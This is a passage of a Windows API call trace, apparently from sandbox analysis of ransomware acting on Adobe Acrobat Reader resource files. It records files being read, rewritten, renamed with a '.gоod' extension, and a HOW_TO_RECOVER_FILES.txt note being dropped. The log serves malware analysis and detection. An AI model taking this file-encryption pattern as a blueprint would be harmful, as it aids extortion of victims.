nFileSizeLow=0x322, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-selector.css", cAlternateFileName="MAIN-S~1.CSS")) returned 1 [0227.983] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1 [0227.983] FindNextFileW (in: hFindFile=0x134b1c0, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0 [0227.984] FindClose (in: hFindFile=0x134b1c0 | out: hFindFile=0x134b1c0) returned 1 [0227.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0227.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0227.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0227.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0227.984] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x37c1ab8 | out: lpFileInformation=0x37c1ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x322)) returned 1 [0227.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0227.984] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0227.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0227.984] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0227.984] GetFileType (hFile=0x85c) returned 0x1 [0227.984] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0227.984] GetFileType (hFile=0x85c) returned 0x1 [0227.984] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x202ed7a8 | out: lpFileSizeHigh=0x202ed7a8*=0x0) returned 0x322 [0227.984] ReadFile (in: hFile=0x85c, lpBuffer=0x37c2188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed6d8, lpOverlapped=0x0 | out: lpBuffer=0x37c2188*, lpNumberOfBytesRead=0x202ed6d8*=0x322, lpOverlapped=0x0) returned 1 [0227.986] CloseHandle (hObject=0x85c) returned 1 [0228.733] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0228.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0228.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.735] GetFileType (hFile=0x864) returned 0x1 [0228.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0228.735] GetFileType (hFile=0x864) returned 0x1 [0228.735] WriteFile (in: hFile=0x864, lpBuffer=0x369c920*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x202ed5e8, lpOverlapped=0x0 | out: lpBuffer=0x369c920*, lpNumberOfBytesWritten=0x202ed5e8*=0x330, lpOverlapped=0x0) returned 1 [0228.735] CloseHandle (hObject=0x864) returned 1 [0228.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css", lpFilePart=0x0) returned 0x80 [0228.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css.gоod", lpFilePart=0x0) returned 0x85 [0228.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0228.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x848d14fc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x330)) returned 1 [0228.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0228.736] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css.gоod")) returned 1 [0228.737] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", lpFilePart=0x0) returned 0x77 [0228.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed750) returned 1 [0228.737] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x369dd18 | out: lpFileInformation=0x369dd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8d6)) returned 1 [0228.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed710) returned 1 [0228.737] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", lpFilePart=0x0) returned 0x77 [0228.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0228.737] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main.css"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0228.738] GetFileType (hFile=0x864) returned 0x1 [0228.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0228.738] GetFileType (hFile=0x864) returned 0x1 [0228.738] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x202ed7a8 | out: lpFileSizeHigh=0x202ed7a8*=0x0) returned 0x8d6 [0228.738] ReadFile (in: hFile=0x864, lpBuffer=0x369e948, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ed6d8, lpOverlapped=0x0 | out: lpBuffer=0x369e948*, lpNumberOfBytesRead=0x202ed6d8*=0x8d6, lpOverlapped=0x0) returned 1 [0228.739] CloseHandle (hObject=0x864) returned 1 [0228.985] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", nBufferLength=0x105, lpBuffer=0x202ed0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", lpFilePart=0x0) returned 0x77 [0228.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed600) returned 1 [0228.985] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main.css"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0228.988] GetFileType (hFile=0x858) returned 0x1 [0228.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed570) returned 1 [0228.988] GetFileType (hFile=0x858) returned 0x1 [0228.988] WriteFile (in: hFile=0x858, lpBuffer=0x36176b0*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x202ed5e8, lpOverlapped=0x0 | out: lpBuffer=0x36176b0*, lpNumberOfBytesWritten=0x202ed5e8*=0x8e0, lpOverlapped=0x0) returned 1 [0228.989] CloseHandle (hObject=0x858) returned 1 [0228.989] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css", lpFilePart=0x0) returned 0x77 [0228.989] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css.gоod", nBufferLength=0x105, lpBuffer=0x202ed280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css.gоod", lpFilePart=0x0) returned 0x7c [0228.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed710) returned 1 [0228.989] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main.css"), fInfoLevelId=0x0, lpFileInformation=0x202ed7f0 | out: lpFileInformation=0x202ed7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x84b43bde, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8e0)) returned 1 [0228.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed6d0) returned 1 [0228.989] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main.css"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main.css.gоod")) returned 1 [0228.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x87 [0228.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0228.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0228.992] GetFileType (hFile=0x630) returned 0x1 [0228.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0228.992] GetFileType (hFile=0x630) returned 0x1 [0228.993] WriteFile (in: hFile=0x630, lpBuffer=0x361b148*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x361b148*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0228.994] CloseHandle (hObject=0x630) returned 1 [0228.994] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0228.994] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images", lpFilePart=0x0) returned 0x71 [0228.994] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0229.006] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0229.006] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_patterns_header.png", cAlternateFileName="BG_PAT~2.PNG")) returned 1 [0229.006] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_pattern_RHP.png", cAlternateFileName="BG_PAT~1.PNG")) returned 1 [0229.006] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_icons.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0229.006] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons.png", cAlternateFileName="")) returned 1 [0229.006] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_ie8.gif", cAlternateFileName="ICONS_~1.GIF")) returned 1 [0229.006] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3c6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="icons_retina.png", cAlternateFileName="ICONS_~1.PNG")) returned 1 [0229.007] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x225a, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0229.007] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d6b, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0229.007] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons.png", cAlternateFileName="NEW_IC~2.PNG")) returned 1 [0229.007] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x456c, dwReserved0=0x0, dwReserved1=0x0, cFileName="new_icons_retina.png", cAlternateFileName="NEW_IC~1.PNG")) returned 1 [0229.007] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0229.007] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0010838, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0010838, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0010838, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0229.007] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0229.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0229.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0229.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0229.008] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images", lpFilePart=0x0) returned 0x71 [0229.008] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, 